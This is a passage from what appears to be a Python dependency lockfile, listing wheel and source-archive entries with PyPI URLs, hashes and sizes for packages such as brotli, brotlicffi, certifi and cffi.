{ url = "https://files.pythonhosted.org/packages/04/6f/4c992cd7841ba589fefb14ddc9aff2f6db7f2a615d4074f9ad04115b5ce0/ast_serialize-0.11.2-cp39-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a7004ba572f09be34342ccb98dcd4bad5707d3d81adc8cb4c3f685d2a2c51bbc", size = 1312642, upload-time = "2026-09-13T18:48:35.294Z" },
{ url = "https://files.pythonhosted.org/packages/d5/e3/22aaa209c231a83cfea004fd67dee7a7a54da3f169c6c460b14b96887385/ast_serialize-0.11.2-cp39-abi3-manylinux_2_31_riscv64.whl", hash = "sha256:59c25f47524efa052971b860e128b1add0c94ede7dd16b2962952c85c3582365", size = 1319776, upload-time = "2026-09-13T18:48:36.866Z" },
{ url = "https://files.pythonhosted.org/packages/c1/f7/d4685fb54d10108ce44d3bc893ef670854d61645d47ed96d73524db90c23/ast_serialize-0.11.2-cp39-abi3-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:f3a367e0e05ed2d1b747ceb07aa728a8c204cc008b589127e9bd4f40053d7575", size = 1365324, upload-time = "2026-09-13T18:48:38.412Z" },
{ url = "https://files.pythonhosted.org/packages/42/3a/250643ffad02bda520c50a9a5f02a5d43259a06f34ce393c91761d134d7e/ast_serialize-0.11.2-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:00bbf1f6669f813b48925b759f7ae4591067d456d443924055cab386e7e0a719", size = 1467653, upload-time = "2026-09-13T18:48:40.348Z" },
{ url = "https://files.pythonhosted.org/packages/c7/da/af66a646b9b7f8fdec95ce83fc7b1fe538b06864bc79bd554ac4fae2e6ea/ast_serialize-0.11.2-cp39-abi3-musllinux_1_2_armv7l.whl", hash = "sha256:ec1c20f89c3e0d83576e3c06f79375ce936266591fe0d5fd969914af3185cbaa", size = 1571914, upload-time = "2026-09-13T18:48:41.968Z" },
{ url = "https://files.pythonhosted.org/packages/34/82/77a9714564b9e8800087a8afec41527c65c39e49282baae2ac847b9c1c6a/ast_serialize-0.11.2-cp39-abi3-musllinux_1_2_i686.whl", hash = "sha256:c58bb119b73657fdc5569692f316e1e25ca114bd62f7782eb527c6be438ba3a9", size = 1569862, upload-time = "2026-09-13T18:48:43.701Z" },
{ url = "https://files.pythonhosted.org/packages/65/06/fa77b52f46b9bd6dcd8ff2b880e3781f8c1a316bb1342bc3de92907c6f96/ast_serialize-0.11.2-cp39-abi3-musllinux_1_2_ppc64le.whl", hash = "sha256:f739e0b601be7300c5697a2573d9200bd1db74b34ab111ef9537b9d5dcd7f106", size = 1699020, upload-time = "2026-09-13T18:48:45.261Z" },
{ url = "https://files.pythonhosted.org/packages/e1/09/239c83153c7e0798e5867d6909cb06f53dccfef02f6999c8e2e21ecb98c3/ast_serialize-0.11.2-cp39-abi3-musllinux_1_2_riscv64.whl", hash = "sha256:cae5addfbb54cc1d47fe947ef9138e9d83849ed1cbc72b819cf36d96a2315b07", size = 1492869, upload-time = "2026-09-13T18:48:46.922Z" },
{ url = "https://files.pythonhosted.org/packages/2f/eb/6108fb9a43fc7ab5529856e38e33c6e3e064fbfe375fdcbb208c7cd5438d/ast_serialize-0.11.2-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:2fa3be25f7f5351b1b39c9f8a52779b2dbf21199efbae564b4746422e8edca4e", size = 1511621, upload-time = "2026-09-13T18:48:48.667Z" },
{ url = "https://files.pythonhosted.org/packages/8a/82/60367e58ef346a41ebc90d3f28593c1b8f5c2cb5314c7b2bbd98910ee131/ast_serialize-0.11.2-cp39-abi3-win32.whl", hash = "sha256:d70556a2f9230a44c99a655774cde823f056efc34466eabfb4085f0cb1ea9f99", size = 1125873, upload-time = "2026-09-13T18:48:50.661Z" },
{ url = "https://files.pythonhosted.org/packages/23/bf/b419c3205ce1143ba7c69baef4f0ba43c14d8712113bf34f9e0d27d609be/ast_serialize-0.11.2-cp39-abi3-win_amd64.whl", hash = "sha256:b9065dd23131a23b41f5bab3bf4e9b3c350a3fe8e36e8200eded9b729fcea484", size = 1165434, upload-time = "2026-09-13T18:48:52.169Z" },
{ url = "https://files.pythonhosted.org/packages/91/a7/c8bbb2173f7a7131b3b2412035b2d814ab5ef2ce9799bd06f07c451640e4/ast_serialize-0.11.2-cp39-abi3-win_arm64.whl", hash = "sha256:dab599cbdcb7b45b18c41fad746645580b3a24357082b7f0e8921cd373804f27", size = 1136031, upload-time = "2026-09-13T18:48:54.04Z" },
]
[[package]]
name = "brotli"
version = "1.2.0"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/f7/16/c92ca344d646e71a43b8bb353f0a6490d7f6e06210f8554c8f874e454285/brotli-1.2.0.tar.gz", hash = "sha256:e310f77e41941c13340a95976fe66a8a95b01e783d430eeaf7a2f87e0a57dd0a", size = 7388632, upload-time = "2025-11-05T18:39:42.86Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/17/e1/298c2ddf786bb7347a1cd71d63a347a79e5712a7c0cba9e3c3458ebd976f/brotli-1.2.0-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:6c12dad5cd04530323e723787ff762bac749a7b256a5bece32b2243dd5c27b21", size = 863080, upload-time = "2025-11-05T18:38:45.503Z" },
{ url = "https://files.pythonhosted.org/packages/84/0c/aac98e286ba66868b2b3b50338ffbd85a35c7122e9531a73a37a29763d38/brotli-1.2.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:3219bd9e69868e57183316ee19c84e03e8f8b5a1d1f2667e1aa8c2f91cb061ac", size = 445453, upload-time = "2025-11-05T18:38:46.433Z" },
{ url = "https://files.pythonhosted.org/packages/ec/f1/0ca1f3f99ae300372635ab3fe2f7a79fa335fee3d874fa7f9e68575e0e62/brotli-1.2.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:963a08f3bebd8b75ac57661045402da15991468a621f014be54e50f53a58d19e", size = 1528168, upload-time = "2025-11-05T18:38:47.371Z" },
{ url = "https://files.pythonhosted.org/packages/d6/a6/2ebfc8f766d46df8d3e65b880a2e220732395e6d7dc312c1e1244b0f074a/brotli-1.2.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:9322b9f8656782414b37e6af884146869d46ab85158201d82bab9abbcb971dc7", size = 1627098, upload-time = "2025-11-05T18:38:48.385Z" },
{ url = "https://files.pythonhosted.org/packages/f3/2f/0976d5b097ff8a22163b10617f76b2557f15f0f39d6a0fe1f02b1a53e92b/brotli-1.2.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:cf9cba6f5b78a2071ec6fb1e7bd39acf35071d90a81231d67e92d637776a6a63", size = 1419861, upload-time = "2025-11-05T18:38:49.372Z" },
{ url = "https://files.pythonhosted.org/packages/9c/97/d76df7176a2ce7616ff94c1fb72d307c9a30d2189fe877f3dd99af00ea5a/brotli-1.2.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:7547369c4392b47d30a3467fe8c3330b4f2e0f7730e45e3103d7d636678a808b", size = 1484594, upload-time = "2025-11-05T18:38:50.655Z" },
{ url = "https://files.pythonhosted.org/packages/d3/93/14cf0b1216f43df5609f5b272050b0abd219e0b54ea80b47cef9867b45e7/brotli-1.2.0-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:fc1530af5c3c275b8524f2e24841cbe2599d74462455e9bae5109e9ff42e9361", size = 1593455, upload-time = "2025-11-05T18:38:51.624Z" },
{ url = "https://files.pythonhosted.org/packages/b3/73/3183c9e41ca755713bdf2cc1d0810df742c09484e2e1ddd693bee53877c1/brotli-1.2.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:d2d085ded05278d1c7f65560aae97b3160aeb2ea2c0b3e26204856beccb60888", size = 1488164, upload-time = "2025-11-05T18:38:53.079Z" },
{ url = "https://files.pythonhosted.org/packages/64/6a/0c78d8f3a582859236482fd9fa86a65a60328a00983006bcf6d83b7b2253/brotli-1.2.0-cp314-cp314-win32.whl", hash = "sha256:832c115a020e463c2f67664560449a7bea26b0c1fdd690352addad6d0a08714d", size = 339280, upload-time = "2025-11-05T18:38:54.02Z" },
{ url = "https://files.pythonhosted.org/packages/f5/10/56978295c14794b2c12007b07f3e41ba26acda9257457d7085b0bb3bb90c/brotli-1.2.0-cp314-cp314-win_amd64.whl", hash = "sha256:e7c0af964e0b4e3412a0ebf341ea26ec767fa0b4cf81abb5e897c9338b5ad6a3", size = 375639, upload-time = "2025-11-05T18:38:55.67Z" },
]
[[package]]
name = "brotlicffi"
version = "1.2.0.2"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "cffi" },
]
sdist = { url = "https://files.pythonhosted.org/packages/71/97/7845739a36828ffe751a1c6b240692f552fd7ecf65026c51326c0a4aa369/brotlicffi-1.2.0.2.tar.gz", hash = "sha256:5e0fbd13644cf1f6015e75fa5e0ad8fdce1048d9c9ff90b0ce826174b249ee35", size = 478755, upload-time = "2026-08-21T17:29:18.415Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/77/a2/edda4f3fc7143434402eacad1e91433fe68ae648c22738eeddb6138638ba/brotlicffi-1.2.0.2-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:ad05ca993234cf947f0ad71b1c8bc0af3d74e0410b1e2c32bb99de0cef6a994b", size = 438789, upload-time = "2026-08-21T17:28:55.708Z" },
{ url = "https://files.pythonhosted.org/packages/0d/9c/506dc8edabb3cf9339c89f1ecc80a218aa166bb83b9f2e9cc1da67314072/brotlicffi-1.2.0.2-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0636cb5a85f31c36e08953d09a226cb788be900b976f81302895e3cf35d5e707", size = 1541246, upload-time = "2026-08-21T17:28:57.669Z" },
{ url = "https://files.pythonhosted.org/packages/9f/d6/74cee9f9fbea8c42030a81056c64e092030a95bd2756ea83da1d1e8f5f29/brotlicffi-1.2.0.2-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:97bae40d45ebc2a6ac7b1c9b30825496a257192194b672ef5869e2df93467f69", size = 1542129, upload-time = "2026-08-21T17:28:59.502Z" },
{ url = "https://files.pythonhosted.org/packages/24/cc/c32630b042ec2a13e8342e6ecb6b9d3531b1be4647b733d6fd365976041c/brotlicffi-1.2.0.2-cp314-cp314t-win32.whl", hash = "sha256:8f3f9bd61293dc48359763e693951393f39656086315067cf97e23e23e8911ab", size = 346840, upload-time = "2026-08-21T17:29:01.085Z" },
{ url = "https://files.pythonhosted.org/packages/ee/0b/83cac3075721fe4c253ea1cc5310cb687c2f7d987e0fd60eb3ed769c24c0/brotlicffi-1.2.0.2-cp314-cp314t-win_amd64.whl", hash = "sha256:908add8a9c0eea00f5de799dc6de9f6d205d9ee11afabc7c03d6812c481200e2", size = 386079, upload-time = "2026-08-21T17:29:02.667Z" },
{ url = "https://files.pythonhosted.org/packages/2e/71/c27f24b8334f65f2492601c7764338f156cb904d2ffe0061e6004a76d9cc/brotlicffi-1.2.0.2-cp39-abi3-macosx_11_0_arm64.whl", hash = "sha256:d5a8ffa154f16660ab818d78045b55fa6f9970f1ca4c38998766e99c672071cb", size = 438885, upload-time = "2026-08-21T17:29:04.113Z" },
{ url = "https://files.pythonhosted.org/packages/ef/22/d8fd1a4d09b7ab563b89380395e09151d2ef1344be31594df6a6987d4028/brotlicffi-1.2.0.2-cp39-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ec6b1af7b7a8ce788354f2c603651ada0fba166ec31ab879e2eec462a3e6dbf4", size = 1534365, upload-time = "2026-08-21T17:29:05.878Z" },
{ url = "https://files.pythonhosted.org/packages/06/78/076419ed6c2c6aa3eaac6fd6b076502b4be89d50625fcdc513cd4aeca718/brotlicffi-1.2.0.2-cp39-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:22916101de0e7ff535f2edf54b52a85591853b8ae9a98737643defdd3c063a3a", size = 1536851, upload-time = "2026-08-21T17:29:07.599Z" },
{ url = "https://files.pythonhosted.org/packages/35/dd/31ae9945cbd605339fb51c9a609f7dbb182cd361adeabc1d470142357206/brotlicffi-1.2.0.2-cp39-abi3-win32.whl", hash = "sha256:df1d34c4ad9adbf7f63a6b42f7d0e4dfd259c88141b85145b57abecc1abc3b24", size = 342379, upload-time = "2026-08-21T17:29:09.05Z" },
{ url = "https://files.pythonhosted.org/packages/95/ae/afd54e744df93b51cc29f6a19beccf9998b25743d7177697390de10479d1/brotlicffi-1.2.0.2-cp39-abi3-win_amd64.whl", hash = "sha256:489ca4da3ee65926d72bf01584b61088a9da6bdd1bb01b2040901e1beaffa8f0", size = 379761, upload-time = "2026-08-21T17:29:10.687Z" },
]
[[package]]
name = "certifi"
version = "2026.7.22"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/a3/c2/24167ea9858356b47a87a50d39908bfdb72ceeefe0041586e704e5376b3a/certifi-2026.7.22.tar.gz", hash = "sha256:741e2c3b351ddf169a738da9f2c048608ff7f2c5cc02f1ebc6b118bb090d5d55", size = 138112, upload-time = "2026-07-22T03:35:12.644Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/0b/a7/71ac2cff56fec219ed242bb11b8efb69fcc4bec75db06fb7bfe35de520e6/certifi-2026.7.22-py3-none-any.whl", hash = "sha256:62f22742b58a1a33014a2b6b706588a8d7e2a88ae7bd1a6ebe8c992928483775", size = 136983, upload-time = "2026-07-22T03:35:11.276Z" },
]
[[package]]
name = "cffi"
version = "2.1.1"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "pycparser", marker = "implementation_name != 'PyPy'" },
]
sdist = { url = "https://files.pythonhosted.org/packages/9e/ef/008a1939e372c06329a3fce4279c02f328488f3526744906eeec3da7ad5f/cffi-2.1.1.tar.gz", hash = "sha256:dd31f52ea1086513bb9df30f8fcee9b8918323ae067a3d5b78bc826a000712be", size = 530807, upload-time = "2026-08-03T21:21:18.939Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/d3/7b/d6bbf82b8b96e7391438898c42f5bd96dd02030fd5b64937d248220003e2/cffi-2.1.1-cp314-cp314-ios_13_0_arm64_iphoneos.whl", hash = "sha256:7dbb61fe3a7699468030f71bbe5f8a0e326a151daa91beb11a6fc1f980c55e1c", size = 194064, upload-time = "2026-08-03T21:20:17.148Z" },
{ url = "https://files.pythonhosted.org/packages/94/e6/bcc91b283be94735e268487a054004f0aa19947b6348fa367db53230abc8/cffi-2.1.1-cp314-cp314-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:f24fb43132a4c6b4cb4eb029492919b2db645be6808d738f244fd146c03c32cb", size = 196720, upload-time = "2026-08-03T21:20:18.268Z" },
{ url = "https://files.pythonhosted.org/packages/d9/99/c4b0c17cacdc9c3b8f280026286a9826d6a208c0f047591a3c3ce99b91fd/cffi-2.1.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:d28630f5854ab07ab1fd4aba756de52326c82e6be15d414b12793f1975048b54", size = 184964, upload-time = "2026-08-03T21:20:19.708Z" },
{ url = "https://files.pythonhosted.org/packages/b3/a9/9db617d05d7367c1ad0ab00b3aa6e6f9281edd689b4ee9ea0e5a84e89c97/cffi-2.1.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:661c298b4821edebead0c91edd2b00374d67ad7c5a1f7a91d4442633b79d6a72", size = 184962, upload-time = "2026-08-03T21:20:20.833Z" },
{ url = "https://files.pythonhosted.org/packages/67/b8/b42132ca113dc567d37684437b46ca1dafc885902b02a110a02d5b511857/cffi-2.1.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:58acb8ab8e295e6c5ea12f888cbb13cf21511ef2a3303a23f4325c29d17fe5c1", size = 222328, upload-time = "2026-08-03T21:20:22.118Z" },
{ url = "https://files.pythonhosted.org/packages/80/10/c5c0cbf0a657aecf59ef511409734230bf556f05a0d6c9eed7aa5c0a0166/cffi-2.1.1-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:456a61fa52d579ebf9df2e9552ead5129855dbaff6c1e5a9b1bc408809bdc062", size = 209985, upload-time = "2026-08-03T21:20:23.401Z" },
{ url = "https://files.pythonhosted.org/packages/d5/6c/bfa0b87b03b9238148beca990292843c9396ba069b54496596594173de7b/cffi-2.1.1-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:a4f00aa42f75d6e4595e8866e748cc1705adc0cddfeb2ca86d0d03993d63ba03", size = 208530, upload-time = "2026-08-03T21:20:24.628Z" },
{ url = "https://files.pythonhosted.org/packages/e9/02/4e7d553a7ac4b4238b38b3c1b80d486e9d4436f8d2acbf87a0997fe3f402/cffi-2.1.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:b0431303acaea1089ad4b3e9ce4e6518193def1118d4073ca848635ee4ea2e96", size = 221525, upload-time = "2026-08-03T21:20:25.758Z" },
{ url = "https://files.pythonhosted.org/packages/82/1d/a4aaf9babd75acb4d5f223bff71533bee748dd770a382619a798960ee9ba/cffi-2.1.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:64faea20f4e2613363a1a9b9c7dd73058f3ecd00133a511e72ad7c511658f527", size = 225053, upload-time = "2026-08-03T21:20:26.985Z" },
{ url = "https://files.pythonhosted.org/packages/81/10/5dc0e7bdd18e22107054288283380fc97a06ae3f1656a106908d666a3c88/cffi-2.1.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:5c58fe613dc5e5336357eff555824a314d8e43282600435c8d1cb6a7a2fedd13", size = 223213, upload-time = "2026-08-03T21:20:28.277Z" },
{ url = "https://files.pythonhosted.org/packages/0b/e9/d0061c364cde06ee43168a0d076ac1da512cbc380d44767b844ba34fe2b6/cffi-2.1.1-cp314-cp314-win32.whl", hash = "sha256:1a18a57b58cfb21fc28d72e876acf10eaed67a1ed96226f92af4df681d571c4c", size = 177682, upload-time = "2026-08-03T21:20:44.288Z" },
{ url = "https://files.pythonhosted.org/packages/a7/06/1c3e01e3ba14c39f6d10bfbac52753b7e22259e38088e5cfe1d704918690/cffi-2.1.1-cp314-cp314-win_amd64.whl", hash = "sha256:3222ba5d678f80a030e6afbcc33dc1ae5cb45facabb61cee2c7016b8432fde48", size = 187949, upload-time = "2026-08-03T21:20:45.623Z" },
{ url = "https://files.pythonhosted.org/packages/87/5b/da4e39efe18eeb89cf580ea9cfc66b6a7c3eadb808fc0cc1d3a295cb5a5d/cffi-2.1.1-cp314-cp314-win_arm64.whl", hash = "sha256:ab36d55f9ed2d067327667c2fea18dda018eb628dd6347aa01dda6cf1f5d3836", size = 182947, upload-time = "2026-08-03T21:20:46.955Z" },
{ url = "https://files.pythonhosted.org/packages/23/59/40338bf421c5accea1d45158170c87006ef1cd371b05c077e76476949728/cffi-2.1.1-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:7750c6449dff7864bb9bb27ddfb0267756189201a3afc911d82b3caacd70dfc3", size = 188504, upload-time = "2026-08-03T21:20:29.495Z" },
{ url = "https://files.pythonhosted.org/packages/7d/47/5ecf1023850036e674c77ec4de86182d309ae344e39e7cba984b7df5d647/cffi-2.1.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:0beceaabe56af686895136a2de78db54ecd8e4046b236b8fd6d6cb61389e9bf2", size = 188259, upload-time = "2026-08-03T21:20:31.291Z" },
{ url = "https://files.pythonhosted.org/packages/2a/9c/92934c3bea9f785b23eba304538c0b4d37a2a96d2431eb3a1bc87a11aa19/cffi-2.1.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:49cbc70e6542d4ccccb936558d1064a8012541e78f821f955cff24e357776c94", size = 223864, upload-time = "2026-08-03T21:20:32.571Z" },
{ url = "https://files.pythonhosted.org/packages/4d/45/ba4c93527bc38616a8bd36488acb69a2212d60486794f0c1f318949bbb76/cffi-2.1.1-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:e2d65b31f36619cda3999b78b2aa9632e76b78448e7a56fc4240824200e7c4fc", size = 211538, upload-time = "2026-08-03T21:20:33.808Z" },
{ url = "https://files.pythonhosted.org/packages/80/e9/b6ef565e452acb932fb0cb5443f44a78efbd1233e566f02b5a83855e9115/cffi-2.1.1-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:28907ab9bfb6aa13184cfc17c6b8e1023c5ab6fd7076d8c20a35e59fe04f8f29", size = 210688, upload-time = "2026-08-03T21:20:34.974Z" },
{ url = "https://files.pythonhosted.org/packages/9a/95/eff5f0cee78d2eabc7eebffec40d3fc1876b5f3c95582e018bb4b99601f2/cffi-2.1.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:51b31d1c98274844cfd7838ce00bfc27c7423a4dc00fc0772fc3331c2cc90676", size = 223803, upload-time = "2026-08-03T21:20:36.564Z" },
{ url = "https://files.pythonhosted.org/packages/fa/01/579d39fb8bef00a335a23d83757b44feb24cd6345a2c451b64cb67b9c362/cffi-2.1.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:5e7cecbaadb83884793e05828cee59b210b24583b9c7425d0ba6a754fe22eb4e", size = 226763, upload-time = "2026-08-03T21:20:37.816Z" },
{ url = "https://files.pythonhosted.org/packages/8d/b0/0b44f47c60b01b57b6e2bbd92343f13a85a1d93bc46ccf6e47e244acd99c/cffi-2.1.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:25792eac27877609e7bb06d42ff88278a6624fff2ba9bbb523c09616b117e80f", size = 225688, upload-time = "2026-08-03T21:20:38.959Z" },
{ url = "https://files.pythonhosted.org/packages/eb/d2/3b7176cb570a1d3e27faf67b72f591af508036e0d8b2be2ef9af9e8c84bb/cffi-2.1.1-cp314-cp314t-win32.whl", hash = "sha256:8ef53b2de9bcb9197d31854256575d59dbac0cba72ac627bb291ef5eceb74be4", size = 182868, upload-time = "2026-08-03T21:20:40.388Z" },
{ url = "https://files.pythonhosted.org/packages/56/78/31f00c1bcd97c9bbf55f1bfdf5bc809a5de8887473e90bb9960dca825e80/cffi-2.1.1-cp314-cp314t-win_amd64.whl", hash = "sha256:616f097f2fe415bc92a247f02e11f634e1f9e9a83d327e3c915c15089c87869e", size = 194104, upload-time = "2026-08-03T21:20:41.725Z" },
{ url = "https://files.pythonhosted.org/packages/7b/1b/58496f2ed0a35de575250c02a43ab3cc2c04d494a88fed31c1cabc0fd176/cffi-2.1.1-cp314-cp314t-win_arm64.whl", hash = "sha256:ad2c86c495b899d862ea0f4b42891b8713a3bd45dd4105c7fd51c2a72f39f3a5", size = 186402, upload-time = "2026-08-03T21:20:43.042Z" },
{ url = "https://files.pythonhosted.org/packages/c1/8f/9ebe220eab48a093d1a5a5e339ab0dc7316eef3bb04d63c42f0251b61f50/cffi-2.1.1-cp315-cp315-ios_13_0_arm64_iphoneos.whl", hash = "sha256:dddad92b554513a31f272570678ba307fb9f618f05e3d4a5eacafff9eae03e1d", size = 194043, upload-time = "2026-08-03T21:20:48.179Z" },
{ url = "https://files.pythonhosted.org/packages/ff/69/844bad3ece306c4782c2ecb93597035b6690d48704b803914c199da1e8b3/cffi-2.1.1-cp315-cp315-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:da0e573f9f97159390c89d9f1a9e41908b66d408cc5b58d08cf3847d844c531b", size = 196737, upload-time = "2026-08-03T21:20:49.457Z" },
{ url = "https://files.pythonhosted.org/packages/1b/8a/af668013284634733f02d683458a0728739c7d6ddb5e14cb0c20832266fe/cffi-2.1.1-cp315-cp315-macosx_10_15_x86_64.whl", hash = "sha256:fb92203a88b3d3053034db775110081c49d28be6551923805e039924093761e4", size = 184933, upload-time = "2026-08-03T21:20:50.639Z" },
{ url = "https://files.pythonhosted.org/packages/0c/75/2f5207ff6d1a613133b23a5203cc0c2a628313b5eb3974d7956ae3c57950/cffi-2.1.1-cp315-cp315-macosx_11_0_arm64.whl", hash = "sha256:2ae64be792b8966f2c69538199728b290e34726562896df1e5dc8ffd8d8188e8", size = 185002, upload-time = "2026-08-03T21:20:52.173Z" },
{ url = "https://files.pythonhosted.org/packages/e2/31/9e1313b0a6e30e91b3b3d3fff51ae99c857c07738e3afcce1f7334e1b7ab/cffi-2.1.1-cp315-cp315-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:507a24c282e0f42f8ed737cf048572cbf580468da5555764a8331735e9c736b6", size = 222271, upload-time = "2026-08-03T21:20:53.462Z" },
{ url = "https://files.pythonhosted.org/packages/50/e3/f6234a833e6e08c7007003074723c406559eecf9b48dfc97471e5a8eb7a0/cffi-2.1.1-cp315-cp315-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:246fa40ce8645a614ff682e0b70f37134e460eaf93a775e0cbe3cca585a67a80", size = 209919, upload-time = "2026-08-03T21:20:54.783Z" },
{ url = "https://files.pythonhosted.org/packages/0d/fc/5f74e293fced6edb51af3a46c4ccf6c23c9943774ecb375ddbd522c76add/cffi-2.1.1-cp315-cp315-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:471cee653ae88de62096552e6d24ccb4a5adb8c8c9f10b5054d0122c15bf2779", size = 208529, upload-time = "2026-08-03T21:20:56.066Z" },
{ url = "https://files.pythonhosted.org/packages/44/16/29e6d01b388bef055ecd6ca8244b3f4d336bd09e92d5d892187b9601084e/cffi-2.1.1-cp315-cp315-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:aeae0e330c9f6acd681f647d46cefd30c29f93e3392882e792e82080c9691399", size = 221630, upload-time = "2026-08-03T21:20:57.336Z" },
{ url = "https://files.pythonhosted.org/packages/a4/18/fa7f1f6857d5eb88a4ca99ffcbfb7c387a287ccc154c64a73e86314745d7/cffi-2.1.1-cp315-cp315-musllinux_1_2_aarch64.whl", hash = "sha256:42a494cee34437f05546455144f2b5d9ac09b1face62bcfce597d2e521066688", size = 225134, upload-time = "2026-08-03T21:20:58.675Z" },
{ url = "https://files.pythonhosted.org/packages/e0/9f/e8e3dfa04a1b4c241f8c91faacad872b4d4efd051d49764ad4e2fd4b9fea/cffi-2.1.1-cp315-cp315-musllinux_1_2_x86_64.whl", hash = "sha256:cc572dace3f60ef98d7b12ff411d20f5362feb31a0439eab0085bbfd349982d7", size = 223197, upload-time = "2026-08-03T21:20:59.968Z" },
{ url = "https://files.pythonhosted.org/packages/f8/7e/8debeb04f1ab9fe2a6963964cd6f1aaf7192627b83926586a6a4e089c9fa/cffi-2.1.1-cp315-cp315-win32.whl", hash = "sha256:4f42141fc14250de6dde5ee7ea4432be017252d91f19c5ad043c084cea629cac", size = 177683, upload-time = "2026-08-03T21:21:14.901Z" },
{ url = "https://files.pythonhosted.org/packages/e0/31/5158704cc474ab65c1647932e88be78dc0873f47130e253be38bcaf13d01/cffi-2.1.1-cp315-cp315-win_amd64.whl", hash = "sha256:e6e8cff14d6fb0be70a09c0bdc58096f501952d04624ebf867e0e56da2df8960", size = 187897, upload-time = "2026-08-03T21:21:16.108Z" },
{ url = "https://files.pythonhosted.org/packages/cc/4b/b3a2da8570c704ffc0f9762cdc3ec0f02c8573798e0b5cf7f11c82bbb70f/cffi-2.1.1-cp315-cp315-win_arm64.whl", hash = "sha256:27350daa11d4f10c540e6e89dada4c54feb7256ad03e9a4dc075ebad7ba360d1", size = 182935, upload-time = "2026-08-03T21:21:17.271Z" },
{ url = "https://files.pythonhosted.org/packages/d0/ef/5443574510a1207e6f6bc38ba6e1f1de36cb48fef07b2728bb896a21f430/cffi-2.1.1-cp315-cp315t-macosx_10_15_x86_64.whl", hash = "sha256:c26608d2222fb1e94487e4a387d85f13eb55d5ed725cb25a0c589ac4ee60e7bc", size = 188464, upload-time = "2026-08-03T21:21:01.163Z" },
{ url = "https://files.pythonhosted.org/packages/7e/ae/a56fa8c4686ad50e148fcbc8d3ae0d03915ff5c30d795058988c24118cef/cffi-2.1.1-cp315-cp315t-macosx_11_0_arm64.whl", hash = "sha256:4be96343e422f2dfcd12ab5c9f5aebe03f82f737c6bffeca6830b3875cb44aab", size = 188262, upload-time = "2026-08-03T21:21:02.382Z" },
{ url = "https://files.pythonhosted.org/packages/53/b2/6187f46f2912276a3ae284076109cc5c8680482f11f766ccf26db4a86427/cffi-2.1.1-cp315-cp315t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:937c0052c05a31ca1daf18de3158eed4dbfcb9cc107adbea227728d647be701e", size = 223779, upload-time = "2026-08-03T21:21:03.553Z" },
{ url = "https://files.pythonhosted.org/packages/8a/f6/c3ad28bd19f77047a03084424fbd4cbe997303267c14423737324be0385d/cffi-2.1.1-cp315-cp315t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:df423d40ee8654634421812bc3b196da3f9bd7d32929da813f8394c4348a5358", size = 211520, upload-time = "2026-08-03T21:21:04.863Z" },
{ url = "https://files.pythonhosted.org/packages/a0/cd/ccac9013a5bd9fd764de118674ab9c805b5ca10c19270d90ee273f8b2240/cffi-2.1.1-cp315-cp315t-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:a730a083190634c65cca36ba5f489531576ebd79bcd5c8e172130f6453127231", size = 210673, upload-time = "2026-08-03T21:21:06.223Z" },
